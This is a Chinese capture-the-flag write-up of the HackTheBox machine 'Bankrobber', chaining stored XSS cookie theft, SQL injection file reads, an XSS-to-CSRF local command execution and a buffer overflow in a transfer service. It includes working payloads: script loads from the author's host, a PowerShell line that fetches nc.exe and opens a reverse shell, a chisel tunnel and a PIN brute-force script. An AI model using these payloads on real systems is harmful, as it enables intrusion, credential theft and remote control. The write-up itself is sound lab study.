当前位置: 首页 > news >正文

[Meachines] [Insane] Bankrobber XSS-MDOG+SQLI+XSRF+Local-RCE+Bankv2转账模拟应用缓冲区溢出

信息收集

IP AddressOpening Ports
10.10.10.154TCP:80,443,445,3306

$ nmap -p- 10.10.10.154 --min-rate 1000 -sC -sV -Pn

PORT     STATE SERVICE      VERSION                                               
80/tcp   open  http         Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: E-coin                     
443/tcp  open  ssl/http     Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: E-coin                              
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   http/1.1
|   http/1.1
|_  http/1.1
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql        MariaDB (unauthorized)
Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows

HTTP && XSS-MDOG

image.png

注册用户

image-1.png

登录

image-2.png

image-3.png

POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Origin: http://10.10.10.154
Connection: close
Referer: http://10.10.10.154/user/
Cookie: id=3; username=dGVzdA%3D%3D; password=testfromId=3&toId=1&amount=1&comment=<script%20src="http://10.10.16.24/test.js"></script>

Cookie中是以用户名密码再次base64进行身份认证
comment字段添加xss语句。

image-4.png

image-6.png

https://github.com/MartinxMax/MDOG

$ wine MDOG.exe

image-8.png

复制payload,并且启动

POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Origin: http://10.10.10.154
Connection: close
Referer: http://10.10.10.154/user/
Cookie: id=3; username=dGVzdA%3D%3D; password=testfromId=3&toId=1&amount=1&comment=<script%20src="http://10.10.16.24:10000/Main.js"></script>

等待一会获取到cookie

image-9.png

$ echo YWRtaW4= | base64 -d

$ echo SG9wZWxlc3Nyb21hbnRpYw== | base64 -d

image-10.png

username:admin password:Hopelessromantic

image-11.png

image-12.png

将所有文件从默认的 Xampp 文件夹中移出:待办

image-13.png

SQLI

image-14.png

输入2a可以直接判断这是一个字符注入类型闭合

再次输入2’-'1确认存在sql注入

image-15.png

1' order by 3 --

判断存在三个字段

image-16.png

-1' union select 1,@@version,3 --

image-17.png

-1' union select 1,load_file('C:/Windows/win.ini'),3 --

确认可以进行文件读取

根据之前的notes提示网站路径可能在c:/xampp/htdocs

-1' union select 1,to_base64(load_file('c:/xampp/htdocs/index.php')),3 --

image-18.png

-1' union select 1, 'hello', 3 into outfile 'c:/xampp/htdocs/test.php' --

但是没有写权限

Local-RCE

读取backdoorchecker.php

-1' union select 1,to_base64(load_file('c:/xampp/htdocs/admin/backdoorchecker.php')),3 --

image-19.png

image-20.png

<?php
include('../link.php');
include('auth.php');$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad 	  = array('$(','&');
$good 	  = "ls";if(strtolower(substr(PHP_OS,0,3)) == "win"){$good = "dir";
}if($username == "admin" && $password == "Hopelessromantic"){if(isset($_POST['cmd'])){// FILTER ESCAPE CHARSforeach($bad as $char){if(strpos($_POST['cmd'],$char) !== false){die("You're not allowed to do that.");}}// CHECK IF THE FIRST 2 CHARS ARE LSif(substr($_POST['cmd'], 0,strlen($good)) != $good){die("It's only allowed to use the $good command");}if($_SERVER['REMOTE_ADDR'] == "::1"){system($_POST['cmd']);} else{echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";}}
} else{echo "You are not allowed to use this function!";
}
?>

XSS+XSRF + Local-RCE

<!-- index.js -->
var request = new XMLHttpRequest();
var params = 'cmd=dir|powershell -c "iwr -uri 10.10.16.24/nc64.exe -outfile %temp%\\nc.exe"; %temp%\\nc.exe -e cmd.exe 10.10.16.24 10032';
request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(params);

再次返回到普通用户,使管理员触发xss触发CSRF触发rce载荷

POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: http://10.10.10.154
Connection: close
Referer: http://10.10.10.154/user/
Cookie: id=3; username=dGVzdA%3D%3D; password=testfromId=3&toId=1&amount=1&comment=<script%20src="http://10.10.16.24/index.js"></script>

image-22.png

User.txt

70e06a7bd26c92f93c4ebdb87ed89144

权限提升

TCP 910 转账模拟

建议把会话转移到msf,会稳定比较保险。

C:\xampp\htdocs\admin>netstat -ano

image-23.png

C:\xampp\htdocs\admin>powershell -c "wget 10.10.16.24/chisel.exe -o %TEMP%/chisel.exe"

$ /usr/bin/chisel server -port 10000 --reverse

C:\xampp\htdocs\admin>%TEMP%/chisel.exe client 10.10.16.24:10000 R:910:localhost:910

image-24.png

image-25.png

爆破pin码

#!/usr/bin/env python3import socket
import sysfor i in range(10000):sys.stdout.write(f"\rTrying: {i:04d}")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('localhost', 910))s.recv(4096)s.send(f"{i:04d}\n".encode())resp = s.recv(4096)if not b"Access denied" in resp:print(f"\rFound pin: {i:04d}")breaks.close()

爆破pin码

$ python3 pin.py

image-26.png

pin:0021

BOF

image-27.png

image-29.png

非常不幸…权限不足,我们不能将exe下载下来进行分析

image-30.png

输出看起来像是一个模拟的或实际的应用程序界面,用于处理电子货币的转账操作

image-31.png

当输入一长串字符串时,Executing e-coin transfer tool地址就改变了AAAAAA…

判断缓冲区溢出长度

$ msf-pattern_create -l 100

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

image-32.png

0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

$ msf-pattern_offset -q 0Ab1

只需要提供前四个字节就可以

image-33.png

偏移量32

验证

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwhoami

image-34.png

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\Users\Cortin\AppData\Local\\Temp\malicious_payload.exe

image-35.png

Root.txt

c3ce23d0cb59f405c1acbc37499c151e

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【QT】十分钟全面理解 信号与槽的机制
  • ML18_EM算法
  • MySQL表操作及约束
  • 2024国赛数学建模ABC题思路模型
  • 动态化-鸿蒙跨端方案介绍
  • VSCOD常用扩展库
  • 视频提取字幕的软件有哪些?高效转录用这些
  • 『功能项目』怪物的信息显示【15】
  • 基于SpringBoot的外卖点餐系统
  • Prometheus 在 Linux 系统上安装
  • win11下wsl使用开发pg拓展并安装到docker全程记录
  • 168套Android项目源码和120多套各类别小程序模板源码
  • 除猫毛应该用哪款宠物空气净化器?希喂、安德迈哪款更值得推荐
  • CleanMyMac X2024破解激活码许可证号码
  • MybatisPlus中@EnumValue注解介绍、应用场景和示例代码
  • 【跃迁之路】【735天】程序员高效学习方法论探索系列(实验阶段492-2019.2.25)...
  • egg(89)--egg之redis的发布和订阅
  • Flannel解读
  • Java-详解HashMap
  • Mysql数据库的条件查询语句
  • Next.js之基础概念(二)
  • vagrant 添加本地 box 安装 laravel homestead
  • vue的全局变量和全局拦截请求器
  • webpack4 一点通
  • 理清楚Vue的结构
  • 小程序、APP Store 需要的 SSL 证书是个什么东西?
  • 学习笔记TF060:图像语音结合,看图说话
  • 一些关于Rust在2019年的思考
  • # 详解 JS 中的事件循环、宏/微任务、Primise对象、定时器函数,以及其在工作中的应用和注意事项
  • $GOPATH/go.mod exists but should not goland
  • ( 用例图)定义了系统的功能需求,它是从系统的外部看系统功能,并不描述系统内部对功能的具体实现
  • (1)无线电失控保护(二)
  • (10)STL算法之搜索(二) 二分查找
  • (JS基础)String 类型
  • (LeetCode C++)盛最多水的容器
  • (机器学习的矩阵)(向量、矩阵与多元线性回归)
  • (三)uboot源码分析
  • (四)linux文件内容查看
  • (四)库存超卖案例实战——优化redis分布式锁
  • (五)大数据实战——使用模板虚拟机实现hadoop集群虚拟机克隆及网络相关配置
  • (学习日记)2024.04.10:UCOSIII第三十八节:事件实验
  • (转)http协议
  • (转)nsfocus-绿盟科技笔试题目
  • (转)ObjectiveC 深浅拷贝学习
  • *setTimeout实现text输入在用户停顿时才调用事件!*
  • .NET 编写一个可以异步等待循环中任何一个部分的 Awaiter
  • .NET是什么
  • @angular/cli项目构建--Dynamic.Form
  • @Transactional 详解
  • [ vulhub漏洞复现篇 ] Hadoop-yarn-RPC 未授权访问漏洞复现
  • [ 物联网 ]拟合模型解决传感器数据获取中数据与实际值的误差的补偿方法
  • [ 云计算 | AWS 实践 ] Java 如何重命名 Amazon S3 中的文件和文件夹
  • [202209]mysql8.0 双主集群搭建 亲测可用
  • [23] GaussianAvatars: Photorealistic Head Avatars with Rigged 3D Gaussians
  • [8-23]知识梳理:文件系统、Bash基础特性、目录管理、文件管理、文本查看编辑处理...